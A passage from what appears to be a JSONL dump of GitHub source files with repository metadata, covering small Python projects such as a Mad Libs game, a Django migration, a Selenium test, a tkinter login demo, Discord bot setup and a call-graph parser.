cc:\n        graph_list.append(G.subgraph(c).copy())\n    return graph_list\n\n\ndef node_connected_component(G,n):\n    \"\"\"Return nodes in connected components of graph containing node n.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n       An undirected graph.\n\n    n : node label       \n       A node in G\n\n    Returns\n    -------\n    comp : lists\n       A list of nodes in component of G containing node n.\n\n    See Also       \n    --------\n    connected_components\n\n    Notes\n    -----\n    For undirected graphs only. \n    \"\"\"\n    if G.is_directed():\n        raise nx.NetworkXError(\"\"\"Not allowed for directed graph G.\n              Use UG=G.to_undirected() to create an undirected graph.\"\"\")\n    return list(nx.single_source_shortest_path_length(G,n).keys())\n\n        \n","repo_name":"miniBloq/v0.83","sub_path":"source/Bin/Minibloq/lang/PPythonWin/v2.7.5.1/App/Lib/site-packages/networkx/algorithms/components/connected.py","file_name":"connected.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"}
+{"seq_id":"22539922139","text":"#   Mad libs\r\nimport random\r\n\r\n\r\ndef intro():\r\n    print('\\n\\t_______________  MAD-LIBS  _______________')\r\n    ask = str((input('Up for a round of MAB-LIBS ? (yes/no) : '))).lower()\r\n    if ask in ['y', 'yes']:\r\n        gamemode()\r\n    elif ask in ['n', 'no']:\r\n        print('Bye then.')\r\n    else:\r\n        print('I did\\'t understand!')\r\n        intro()\r\n\r\n\r\ndef gamemode():\r\n    mode = str(input('Would you like to a play a Randomized madlib or an dev\\'s Choice madlib (dev/random) : ')).lower()\r\n    if mode in ['random', 'r']:\r\n        randomized()\r\n    elif mode in ['dev', 'd']:\r\n        developer()\r\n    else:\r\n        print('I did\\'t understand!')\r\n        gamemode()\r\n\r\n\r\ndef randomized():\r\n    print('\\n\\t_____ RANDOMIZED MODE _____')\r\n    with open('randomized.txt', 'r') as f:\r\n        madlib_text = f.readlines()\r\n        madlib = random.choice(madlib_text)\r\n\r\n        noun = str(input('Enter a noun : '))\r\n        madlib = madlib.replace(\"var_noun\", noun)\r\n\r\n        adj = str(input('Enter an adjective : '))\r\n        madlib = madlib.replace(\"var_adj\", adj)\r\n\r\n        name = str(input('Enter your name : '))\r\n        madlib = madlib.replace(\"var_name\", name)\r\n\r\n        print('\\n',madlib)\r\n        intro()\r\n\r\n        \r\ndef developer():\r\n    print('\\n\\t_____ DEV\\'S CHOICE _____')\r\n    print(\r\n        'This game mode includes MAD-LIBS that are a bit longer and more fun. \\n Now Choose a storyline -  ')\r\n    storyline = str(input(\r\n        '\\t Storyline 1 - A day at the zoo (12 inputs) \\n\\t Storyline 2 - My trip to Disney Land (15 inputs) \\n Your Choice (1/2) : '))\r\n    if storyline == \"1\":\r\n        story1()\r\n    elif storyline == '2':\r\n        story2()\r\n    else:\r\n        print('I did\\'t understand!')\r\n        developer()\r\n\r\n\r\ndef story1():\r\n    # INPUTS\r\n    print()\r\n    adj_1 = str(input('Enter an adjective : '))\r\n    noun_1 = str(input('Enter a noun : '))\r\n    verb_1_past = str(input('Enter a verb (past tense) : '))\r\n    adverb_1 = str(input('Enter a adverb : '))\r\n    adj_2 = str(input('Enter an adjective : '))\r\n    noun_2 = str(input('Enter a noun : '))\r\n    noun_3 = str(input('Enter a noun : '))\r\n    adj_3 = str(input('Enter an adjective : '))\r\n    verb_2 = str(input('Enter a verb : '))\r\n    adverb_2 = str(input('Enter a adverb : '))\r\n    verb_3_past = str(input('Enter a verb (past tense) : '))\r\n    adj_4 = str(input('Enter an adjective : '))\r\n\r\n    # OUTPUT\r\n    print('\\n\\n\\n\\t\\t---------- A DAY AT THE ZOO! ----------')\r\n    print(\r\n        f' Today I went to the zoo. I saw a(n) {adj_1} {noun_1} jumping up and down in its tree. \\n He {verb_1_past} {adverb_1} through the large tunnel that led to its {adj_2} {noun_2}. \\nI got some peanuts and passed them through the cage to a gigantic gray {noun_3}  \\n towering above my head. Feeding that animal made me hungry. \\n I went to get a {adj_3} scoop of ice cream. \\n It filled my stomach. Afterwards I had to {verb_2} {adverb_2} to catch our bus. \\n When I got home I {verb_3_past} my mom for a {adj_4} day at the zoo.')\r\n    print('\\t \\t -------------\\t  x  \\t-------------')\r\n    intro()\r\n\r\n\r\ndef story2():\r\n    # INPUTS\r\n    print()\r\n    friend_name = str(input('Enter a friend\\'s name : '))\r\n    hours = str(input('Enter number of hours : '))\r\n    vehicle = str(input('Enter a type of vehicle : '))\r\n    adj_1 = str(input('Enter an adjective : '))\r\n    adj_2 = str(input('Enter an adjective : '))\r\n    verb_ing = str(input('Enter a verb ending with \\'ing\\' : '))\r\n    animal = str(input('Enter name of an animal : '))\r\n    adj_3 = str(input('Enter an adjective : '))\r\n    verb_1_past = str(input('Enter a verb (past tense) : '))\r\n    adj_4 = str(input('Enter an adjective : '))\r\n    noun_1 = str(input('Enter a noun : '))\r\n    verb_2_past = str(input('Enter a verb (past tense) : '))\r\n    verb_3_past = str(input('Enter a verb (past tense) : '))\r\n    place = str(input('Enter name of a place : '))\r\n    verb_5 = str(input('Enter a verb : '))\r\n\r\n    # OUTPUT\r\n    print('\\n\\n\\n\\t__________ MY TRIP TO DISNEY LAND! __________')\r\n    print(f\"\"\"\r\n    Last month, I went to Disney World with {friend_name}. We\r\n    traveled for {hours} hours by {vehicle}. Finally, we\r\n    arrived and it was very {adj_1}. There were\r\n    {adj_2} people {verb_ing} everywhere. There\r\n    were also people dressed up in {animal} costumes.\r\n\r\n    I wish it had been more {adj_3}, but we {verb_1_past} anyway.\r\n    We also went on a(n) {adj_4} ride called Magic {noun_1}.\r\n    {friend_name} nearly fell off a ride and had to be\r\n    {verb_2_past}. Later, we went to the hotel and {verb_3_past}.\r\n    Next year, I want to go to {place}, where we can {verb_5}.\r\n    \"\"\")\r\n    intro()\r\n\r\n\r\nintro()\r\n","repo_name":"AbhinnVerma/Learning","sub_path":"Madlibs console (complete)/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20195396153","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n#rect=[0.1,5.0,0.1,0.1]\r\nplt.rcParams['font.family']='SimHei'\r\nfig=plt.figure()\r\n #time span\r\nT=20\r\n#drift factor飘移率\r\nmu=0.1 \r\n#volatility波动率\r\nsigma=0.04 \r\n#t=0初试价\r\nS0=50\r\n#length of steps\r\ndt=0.01 \r\nN=round(T/dt)\r\nt=np.linspace(0,T,N)\r\nfig = plt.figure(figsize=(6,4),dpi=200)\r\nax = fig.add_subplot(111)\r\n#布朗运动\r\nW=np.random.standard_normal(size=N)\r\nW=np.cumsum(W)*np.sqrt(dt)\r\nX=(mu-0.5*sigma**2)*t+sigma*W\r\n\r\nS=S0*np.exp(X)\r\nax.plot(0,50 ,c='red', marker='*')\r\n#ax.plot(S,20, c='black', marker='*')\r\nplt.plot(t,S,c='blue',lw=2)\r\nplt.title('1D Random Walk_公式版')\r\nplt.savefig(\"1-D_Random_Walk_公式版.png\")\r\nplt.show()","repo_name":"TW-zqy/-Random-Walk-codes","sub_path":"一维随机游走公式版.py","file_name":"一维随机游走公式版.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37242816617","text":"from flask_restx import Resource, Namespace\nfrom db.models import TestFailure as Model\nfrom schemas import TestFailureSchema as Schema\nfrom flask_security import auth_required\n\n\napi = Namespace(\"skipped_tests\", description=\"Skipped tests related operations\")\n\nsearch_parser = api.parser()\nsearch_parser.add_argument(\n    \"test_case_id\", type=int, location=\"args\", help=\"Test case ID\", required=True\n)\n\n\n@api.route(\"/\")\nclass SkippedTestsList(Resource):\n    @api.expect(search_parser)\n    @auth_required(\"token\", \"session\")\n    @api.doc(id=\"list_skipped_tests\", security=[\"apikey\"])\n    def get(self):\n        \"\"\"List all skipped tests\"\"\"\n        args = search_parser.parse_args()\n        models = Model.query.filter_by(test_suite_id=args[\"test_case_id\"]).all()\n        schema = Schema()\n        return schema.dump(models, many=True)\n","repo_name":"thedumbterminal/ci-speed","sub_path":"app/resources/SkippedTestList.py","file_name":"SkippedTestList.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70231041043","text":"import pytest\nfrom time import sleep\nfrom utilities import XLUtility\nfrom datetime import (\n\tdate,\n\ttimedelta\n)\nfrom datetime import datetime\nfrom pageObjects.common_functions.common_methods import CommonMethods\n\n\n# This test checks the functionality of creating a session note.\n@pytest.mark.usefixtures(\"one_time_setup\")\nclass Test_TC208_115_MobileMinimumCancellationTime:\n\t@pytest.fixture(autouse=True)\n\tdef class_setup(self, one_time_setup):\n\t\tself.driver.set_window_size(411, 823)\n\t\tself.logIn()\n\n\tdef test_mobile_minimum_cancellation_time(self):\n\t\tcommon = CommonMethods(self.driver)\n\t\tself.log.info(\"starting test {}...\".format(__name__))\n\n\t\t# get the required data\n\t\tclient_portal_url = XLUtility.readData(self.path_1, 'client_portal_mobile_data', 30, 2)\n\t\tuser_name = XLUtility.readData(self.path_1, 'client_portal_mobile_data', 30, 3)\n\t\tpassword = XLUtility.readData(self.path_1, 'client_portal_mobile_data', 30, 4)\n\t\tservice = XLUtility.readData(self.path_1, 'client_portal_mobile_data', 30, 5)\n\t\tclient_name = XLUtility.readData(self.path_1, 'client_portal_mobile_data', 30, 7)\n\t\tmin_cancellation_time = XLUtility.readData(self.path_1, 'client_portal_mobile_data', 30, 8)\n\n\t\t# set the minimum cancellation time\n\t\tself.login_page_obj.clk_navigation_btn()\n\t\tself.settings_page_obj.clk_mobile_client_portal()\n\t\tself.settings_page_obj.input_min_cancellation_time(min_cancellation_time)\n\t\tself.settings_page_obj.clk_client_portal_settings_save()\n\n\t\t# set the meeting time\n\t\tcurrent_date_time = datetime.now()\n\t\thours_added = timedelta(hours=11)\n\t\tfuture_date_time = current_date_time + hours_added\n\t\tmeeting_hour = future_date_time.hour\n\t\tmeeting_date = future_date_time.date()\n\t\tif meeting_hour < 12:\n\t\t\tmeeting_time = str(meeting_hour) + \":00am\"\n\t\telse:\n\t\t\tmeeting_time = str(meeting_hour - 12) + \":00pm\"\n\n\t\tdate_time = str(meeting_date) + \" \" + meeting_time\n\n\t\tself.login_page_obj.clk_navigation_btn()\n\t\tself.client_page_obj.clk_all_clients_mobile()\n\t\tself.client_page_obj.mobile_sel_client_name(client_name)\n\t\tself.client_page_obj.clk_view_client_mobile()\n\t\tself.notes_page_obj.clk_session_notes()\n\n\t\t# delete prior session notes\n\t\tcommon.delete_mobile_prior_session_note()\n\n\t\t# Click on Create Session button\n\t\tsleep(1)\n\t\tself.client_page_obj.clk_client_create_session_mobile()\n\t\tcommon.create_client_session(service, date_time)\n\n\t\t# Log in to client portal\n\t\tself.driver.get(client_portal_url)\n\t\tself.client_portal_page_obj.clk_mobile_menu()\n\t\tself.client_portal_page_obj.clk_sign_in_tab()\n\t\tself.client_portal_page_obj.input_username(user_name)\n\t\tself.client_portal_page_obj.input_password(password)\n\t\tself.client_portal_page_obj.clk_account_sign_in()\n\t\tsleep(1)\n\t\tself.client_portal_page_obj.clk_mobile_menu()\n\t\tself.client_portal_page_obj.clk_my_account()\n\t\tself.client_portal_page_obj.clk_cancel_session()\n\t\tmessage_cancel_session = self.client_portal_page_obj.get_mobile_message_session_cancel()\n\t\texp_mesage = \"Please note this session is considered a late cancellation, charges may apply.\"\n\t\tif message_cancel_session == exp_mesage:\n\t\t\tself.log.info(\"{} passed!\".format(__name__))\n\t\t\tassert True\n\t\telse:\n\t\t\tself.log.info(\"{} failed!\".format(__name__))\n\t\t\tassert False\n","repo_name":"harry-100/qa-automation-framework","sub_path":"testCases/client/client_portal/mobile/TC_208_115_mobile_minimum_cancellation_time_test.py","file_name":"TC_208_115_mobile_minimum_cancellation_time_test.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28059909900","text":"# encoding=utf-8\n\"\"\" 一个经典的GUI程序 \"\"\"\n\nfrom tkinter import *\nfrom tkinter import messagebox\n\n\nclass Application(Frame):\n    \"\"\"一个经典的GUI程序的类的写法\"\"\"\n\n    def __init__(self,master=None):\n        super().__init__(master)        # 调用父类构造对象\n        self.master = master\n        self.pack()\n        self.createWidget()\n\n    def createWidget(self):\n        \"\"\"创建登录界面的组件\"\"\"\n        self.label01 = Label(self, text=\"用户名\")\n        self.label01.pack()\n\n        # StringVar变量绑定到指定的组件。\n        # StringVar变量的值发生变化，组件内容也发生变化。\n        # 组件内容发生变化，StringVar变量的值也发生变化。\n        v1 = StringVar()\n        self.entry01 = Entry(self, textvariable=v1)\n        self.entry01.pack()\n        v1.set('admin')\n        print(v1.get());print(self.entry01.get())\n\n        self.label02 = Label(self, text=\"密码\")\n        self.label02.pack()\n\n        v2 = StringVar()\n        self.entry02 = Entry(self, textvariable=v2, show='*')\n        self.entry02.pack()\n        v2.set('root@123')\n        print(v2.get());\n        print(self.entry02.get())\n\n        # 创建一个登录按钮\n        self.btn01 = Button(self, text='登录', command=self.login)\n        self.btn01.pack()\n\n    def login(self):\n        print(\"用户名：\" + self.entry01.get())\n        print(\"密码：\" + self.entry02.get())\n        messagebox.showinfo('登陆成功', '登陆成功，欢迎开始学习！')\n\n\nif __name__ == '__main__':\n    root = Tk()\n    root.geometry('400x300+200+300')\n    root.title('一个经典的GUI程序类的测试')\n    app = Application(master=root)\n    root.mainloop()","repo_name":"supassxu/pythonfile","sub_path":"gui/mypygui_05.py","file_name":"mypygui_05.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7455758060","text":"from __future__ import unicode_literals\n\nimport django.db.models.deletion\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('facility', '0006_facility_hcw_types'),\n    ]\n\n    def insertData(apps, schema_editor):\n     CommunicationLanguage = apps.get_model('facility', 'CommunicationLanguage')\n     english = CommunicationLanguage(language_name=\"English\")\n     hindi = CommunicationLanguage(language_name=\"Hindi\")\n     english.save()\n     hindi.save()\n\n    operations = [\n        migrations.CreateModel(\n            name='CommunicationLanguage',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('language_name', models.CharField(max_length=50, verbose_name='Language name')),\n            ],\n        ),\n        migrations.AlterModelOptions(\n            name='facilitytype',\n            options={'verbose_name': 'Organization Type'},\n        ),\n        migrations.AlterField(\n            model_name='facility',\n            name='facility_name',\n            field=models.CharField(max_length=100, verbose_name='Organization Name'),\n        ),\n        migrations.AlterField(\n            model_name='facility',\n            name='facility_type',\n            field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='facility.FacilityType', verbose_name='Organization Type'),\n        ),\n        migrations.AlterField(\n            model_name='facilitytype',\n            name='facility_type_name',\n            field=models.CharField(max_length=50, verbose_name='Organization type name'),\n        ),\n        migrations.RunPython(insertData),\n    ]\n\n","repo_name":"beehyv/workforcehealthtracker","sub_path":"backend/facility/migrations/0007_auto_20200425_0043.py","file_name":"0007_auto_20200425_0043.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"33893922634","text":"# Lab 7-1-1\r\n# Daniel Templer\r\n# dlt0076@arastudent.ac.nz\r\n# Question 1\r\n\r\n\r\ndef display_as_list(display_items, message='Item', counter_reqd=True):\r\n    \"\"\"prints list inputed with prefix and counter if counter is true\"\"\"\r\n    counter = 1\r\n    if display_items == []: # checks if list is empty\r\n        print(\"Sorry, the list is empty.\")\r\n        return False\r\n    else:\r\n        print()\r\n        for item in display_items:\r\n            if counter_reqd:\r\n                print(f\"{message} {counter}: {item}\")\r\n                counter = counter + 1\r\n            else:\r\n                print(f\"{item}\")\r\n    return True\r\n\r\nrecipe_instructions = ['Toast bread', 'Spread butter', 'Spread marmite']\r\nshopping_message = 'Shopping item'\r\npurchase_message = 'Purchase item'\r\n\r\n# Use passing by position.\r\n# Leave message and counter_reqd as their defaults\r\nreturn_value = display_as_list(recipe_instructions)\r\n\r\n# Use passing by name\r\n# Pass value by name for display_items\r\n# Leave message and counter_reqd as their defaults\r\nreturn_value = display_as_list(display_items=recipe_instructions)\r\n\r\n# Use passing by name\r\n# Pass value by name for display_items and message\r\n# counter_reqd as the default\r\nreturn_value = display_as_list(display_items=recipe_instructions, message=shopping_message)\r\nprint(f'The function returned {return_value}')\r\n\r\n# Use passing by name\r\n# Pass value by name for display_items, message and counter_reqd (explicit as True)\r\nreturn_value = display_as_list(display_items=recipe_instructions, message=purchase_message, counter_reqd=True)\r\nprint(f'The function returned {return_value}')\r\n\r\n# Use passing by name\r\n# Pass value by name for display_items, message and counter_reqd \r\n# No counter displayed\r\nreturn_value = display_as_list(display_items=recipe_instructions, message=purchase_message, counter_reqd=False)\r\nprint(f'The function returned {return_value}')\r\n\r\nprint(\"-\"*30)\r\n\r\n# Test for empty list and parameter names\r\n# Pass value by name for display_items and counter_reqd \r\n# Leave message as default\r\n\r\nrecipe_instructions = []\r\nreturn_value = display_as_list(display_items = recipe_instructions, counter_reqd = True)\r\ninstructions = []\r\nreturn_value = display_as_list(display_items = recipe_instructions, message = \"Don't display this\", counter_reqd = False)\r\ninstructions = []\r\nreturn_value = display_as_list(display_items = instructions, counter_reqd = False)\r\n\r\nprint(\"-\"*30)\r\n\r\ntelephone_menu = [\r\n    'Telephone contact options.',\r\n    'A) Add/modify a contact.',\r\n    'R) Remove a contact.',\r\n    'S) Show/find a contact.',\r\n    'D) Display all contacts.',\r\n    'E) Empty all contacts.',\r\n    'Q) Quit.'\r\n    ]\r\n# Pass by both position and name\r\nreturn_value = display_as_list(telephone_menu, counter_reqd=False)\r\nreturn_value = display_as_list(display_items=telephone_menu, message=\"Don't display this message\", counter_reqd=False)\r\nreturn_value = display_as_list(display_items=telephone_menu, message='Do display this message:', counter_reqd=True)\r\n","repo_name":"SecretaryKevin/BCDE101-Introduction-to-Programming","sub_path":"Lab 7-1-1/display_as_list.py","file_name":"display_as_list.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20079941514","text":"import unittest\n\nfrom classy_vision.dataset.core.random_image_datasets import (\n    RandomImageBinaryClassDataset,\n)\nfrom classy_vision.dataset.transforms.util import build_field_transform_default_imagenet\n\n\nclass LightingTransformTest(unittest.TestCase):\n    def get_test_image_dataset(self):\n        return RandomImageBinaryClassDataset(\n            crop_size=224, class_ratio=0.5, num_samples=100, seed=0\n        )\n\n    def test_lighting_transform_no_errors(self):\n        \"\"\"\n        Tests that the lighting transform runs without any errors.\n        \"\"\"\n        dataset = self.get_test_image_dataset()\n\n        config = [{\"name\": \"ToTensor\"}, {\"name\": \"lighting\"}]\n        transform = build_field_transform_default_imagenet(config)\n        sample = dataset[0]\n        try:\n            # test that lighting has been registered and runs without errors\n            transform(sample)\n        except Exception:\n            self.fail(\"LightingTransform raised an exception\")\n        return\n","repo_name":"facebookresearch/ClassyVision","sub_path":"test/dataset_transforms_lighting_transform_test.py","file_name":"dataset_transforms_lighting_transform_test.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":1563,"dataset":"github-code","pt":"3"}
+{"seq_id":"16941472617","text":"\"\"\"A setuptools based setup module.\n\nSee:\nhttps://packaging.python.org/guides/distributing-packages-using-setuptools/\nhttps://github.com/pypa/sampleproject\n\"\"\"\n\nfrom pathlib import Path\nfrom setuptools import setup\n\nROOT_DIR = Path(__file__).resolve().parent.parent\n\nwith open(ROOT_DIR / \"README.md\", encoding=\"utf-8\") as f:\n    long_description = f.read()\n\n\nsetup(\n    name=\"src\",\n    version=\"0.0.1\",\n    package_data={},\n    packages=[\"mri\"],\n    description=\"MRI project\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    install_requires=[],\n    zip_safe=False,\n    entry_points={\"console_scripts\": []},\n)\n","repo_name":"mmlynarik/mri","sub_path":"src/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26313661430","text":"import spacy\n\nnlp = spacy.load('en_core_web_sm')\n\n# Create an nlp object\ndoc = nlp(\"He went to play basketball\")\n\n# Iterate over the tokens\nfor token in doc:\n    # Print the token and its part-of-speech tag\n    print(token.text, \"-->\", token.pos_)","repo_name":"rafaelstojoao/pos-unip","sub_path":"[2020][modulo][Processamento_Linguagem_Natural]/codigos/chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"19281665023","text":"import os\nfrom django.shortcuts import render, redirect, get_object_or_404, get_list_or_404\nfrom django.core.urlresolvers import reverse\nfrom django.templatetags.static import static\nfrom django.http import HttpResponse\nfrom django.conf import settings\n\nfrom .forms import CreateGameForm\nfrom .models import Game\nfrom .deck_builder import build_deck\n\ndef index(request):\n    \"\"\"\n    Return the home page without any context.\n    \"\"\"\n\n    return render(request, \"webclient/index.html\", {})\n\ndef lobby(request):\n    \"\"\"\n    Returns the lobby, where players can start, join, or watch games.\n    \"\"\"\n    games = list(Game.objects.filter())\n    return render(request, \"webclient/lobby.html\", {\n        'games': games,\n    })\n\ndef create_game(request):\n    \"\"\"\n    Returns the create game page where players can create a new game.\n    \"\"\"\n\n    if request.method == \"POST\":\n        form = CreateGameForm(request.POST)\n        if form.is_valid():\n            game = Game.objects.create(\n                game_id=form.cleaned_data['game_id'],\n                name=form.cleaned_data['name'],\n                variant=form.cleaned_data['variant'],\n                max_players=form.cleaned_data['max_players'],\n            )\n            return redirect(reverse('staging', args=(game.game_id,)))\n    else:\n        form = CreateGameForm()\n\n    return render(request, \"game/create.html\", {\n        'form': form,\n    })\n\ndef staging(request, game_id):\n    \"\"\"\n    Returns the staging area for the given game_id.\n    \"\"\"\n\n    game = get_object_or_404(Game, pk=game_id)\n\n    return render(request, \"game/staging.html\", {\n        'game': game,\n    })\n\ndef game(request, game_id):\n    \"\"\"\n    Returns the game room for the given game_id.\n    \"\"\"\n\n    if request.method == \"POST\":\n        client_type = 'PLAYER' if request.POST.get('play', False) else 'SPECTATOR'\n        request.session['nick'] = request.POST.get(\"nick\", \"\")\n        request.session['client_type'] = client_type\n        deck = build_deck(request.POST.get(\"custom-deck\", \"60 Forest\"))\n\n    game = get_object_or_404(Game, pk=game_id)\n\n    return render(request, \"game/room.html\", {\n        'game': game,\n        'deck': deck,\n        'nick': request.session['nick'],\n        'client_type': request.session['client_type'],\n    })\n\ndef proto(request, base_file_name):\n    \"\"\"\n    Returns appropriate .proto file.\n    \"\"\"\n\n    proto_file = open(settings.PROTO_PATH + \"/\" + base_file_name + '.proto').read()\n    return HttpResponse(proto_file, content_type='application/x-protobuf')\n","repo_name":"connectthefuture/deckr2","sub_path":"clients/webserver/deckr/webclient/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71059599121","text":"import os\n\nfrom hata import Client, start_clients, ActivityRich, ActivityTypes, Status\nfrom hata.ext.extension_loader import EXTENSION_LOADER\n\nfrom bot_utils.database import My_Database\n\nimport config\n\nMINT = Client(\n    token     = config.MINT_TOKEN,\n    client_id = config.MINT_ID,\n    status    = None,\n    activity  = ActivityRich(\"Nihongo Quest\",type_=ActivityTypes.watching)\n)\n\nMELON = Client(\n    token     = config.MELON_TOKEN,\n    client_id = config.MELON_ID,\n    status    = \"dnd\",\n    activity  = ActivityRich(\"The Server\",type_=ActivityTypes.watching)\n)\n\nMELON_MINT = Client(\n    token     = config.MELON_MINT_TOKEN,\n    client_id = config.MELON_MINT_ID,\n    status    = 'idle',\n    activity  = ActivityRich(\"My Creator\",type_=ActivityTypes.watching)\n)\n\n#Connecting to database\nMELON_MINT.loop.run(My_Database.setup_firebase(config.FIREBASE_CONFIG))\n\nEXTENSION_LOADER.add_default_variables(\n    MINT  = MINT,\n    MELON = MELON,\n    MELON_MINT = MELON_MINT,\n)\n\nEXTENSION_LOADER.load_extension('bots.mint',       locked=True)\nEXTENSION_LOADER.load_extension('bots.melon',      locked=True)\nEXTENSION_LOADER.load_extension('bots.melon_mint', locked=True)\n\npath = os.path.abspath('.')\nfor folder_name in os.listdir(path):\n    \n    if not folder_name.endswith('_modules'):\n        continue\n    \n    folder_path = os.path.join(path, folder_name)\n    for file_name in os.listdir(folder_path):\n        if not file_name.endswith('.py'):\n            continue\n        \n        file_name = file_name[:-3]\n        EXTENSION_LOADER.add(f'{folder_name}.{file_name}')\n\nEXTENSION_LOADER.load_all()\n","repo_name":"LrnzDC3696/MelonMintBots","sub_path":"bots/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8795864953","text":"#!/usr/bin/env python2\n\n# -*- coding: utf-8 -*-\n\n# Example:\n# python2 sum.py foo/calls.txt foo/methods.txt bar/methods.txt \"fooPrefix\" \"barPrefix\"\n\nimport json\nimport os.path\nimport sys\n\nimport utils.logging\nimport utils.serializer\nimport traversal.code\nimport traversal.generic\n\ndef parseMethods(methods):\n    parsedMethods = None\n    try:\n        with open(methods) as f:\n            parsedMethods = f.read()\n    except IOError:\n        logger.log(\"trace\", \"Treating passed methods as string: \" + str(methods))\n        parsedMethods = methods\n\n    pattern = \"|\".join([x.strip() for x in parsedMethods.splitlines()]).strip(\"|\")\n    if len(pattern.strip()) == 0:\n        pattern = \".*\"\n\n    return pattern\n\nif __name__ == \"__main__\":\n    logger = utils.logging.Logger(True)\n\n    filenameCalls = None\n    sourceMethods = None\n    targetMethods = None\n    sourcePrefix = \"\"\n    targetPrefix = \"\"\n    sourceName = \"\"\n    targetName = \"\"\n    is_graph_unpickled = False\n\n    if sys.argv[1].startswith(\"-\"):\n        args = sys.argv[1:]\n        while len(args):\n            option = args[0]\n            value = args[1]\n            if option == \"-c\" or option == \"--calls\":\n                filenameCalls = value\n            elif option == \"-m\" or option == \"--source-methods\":\n                sourceMethods = value\n            elif option == \"-M\" or option == \"--target-methods\":\n                targetMethods = value\n            elif option == \"-p\" or option == \"--source-prefix\":\n                sourcePrefix = value\n            elif option == \"-P\" or option == \"--target-prefix\":\n                targetPrefix = value\n            elif option == \"-n\" or option == \"--source-name\":\n                sourceName = value\n            elif option == \"-N\" or option == \"--target-name\":\n                targetName = value\n            elif option == \"--unpickle\":\n                is_graph_unpickled = bool(value)\n            args = args[2:]\n    else:\n        if sys.stdin.isatty():\n            filenameCalls = sys.argv.pop(0)\n        sourceMethods = sys.argv[1]\n        targetMethods = sys.argv[2]\n        if len(sys.argv) > 3:\n            sourcePrefix = sys.argv[3]\n        if len(sys.argv) > 4:\n            targetPrefix = sys.argv[4]\n        if len(sys.argv) > 5:\n            sourceName = sys.argv[5]\n        if len(sys.argv) > 6:\n            targetName = sys.argv[6]\n\n    if not sys.stdin.isatty():\n        lines = json.loads(sys.stdin.read())\n    else:\n        with open(filenameCalls) as f:\n            lines = json.loads(f.read())\n    sourceMethods = parseMethods(sourceMethods)\n    targetMethods = parseMethods(targetMethods)\n\n    name = None\n    if sourceName and targetName:\n        name = \"./data/\" + sourceName + \"_\" + targetName\n\n    serializer = utils.serializer.Serializer(name)\n    traversers = [\n        traversal.code.Code(logger, serializer),\n        traversal.generic.Generic(logger, serializer)\n    ]\n    for traverser in traversers:\n        if is_graph_unpickled:\n            traverser = serializer.pickle2graph(traverser)\n        traverser.traverse(lines, sourceMethods, targetMethods, sourcePrefix, targetPrefix)\n","repo_name":"nevesnunes/call-explorer","sub_path":"parsers/sum.py","file_name":"sum.py","file_ext":"py","file_size_in_byte":3119,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37620882668","text":"# Helper Functions to read the specific table columns\n\ndef get_train(row):\n    train = row.css('td.train a::text').getall()\n\n    if len(train) == 0:\n        return None\n    else:\n        if len(train) > 1:\n            train_name = row.css('td.train a span.nowrap::text').get()\n            train = train_name + ' ' + train[1]\n        else:\n            train = train[0]\n\n    return train\n\n\ndef get_route(row):\n    try:\n        route = row.css('td.route::text').getall()[2]\n    except:\n        route = ''\n\n    return route\n\n\ndef get_platform(row):\n    platform = row.css('td.platform strong::text').get()\n    if platform is None:\n        platform = row.css('td.platform strong span.red::text').get()\n        if platform is None:\n            try:\n                platform = row.css('td.platform::text').getall()[1]\n            except:\n                platform = ''\n    return platform\n\n\ndef get_delay_time(row):\n    delay_time = row.css('td.ris span.delay.bold::text').get()\n\n    if delay_time is None:\n        delay_time = row.css('td.ris span.delayOnTime::text').get()\n\n    return delay_time\n\n\ndef get_info(row):\n    return row.css('td.ris span.red::text').get()\n","repo_name":"m0dd0/IntermediateChallenge","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
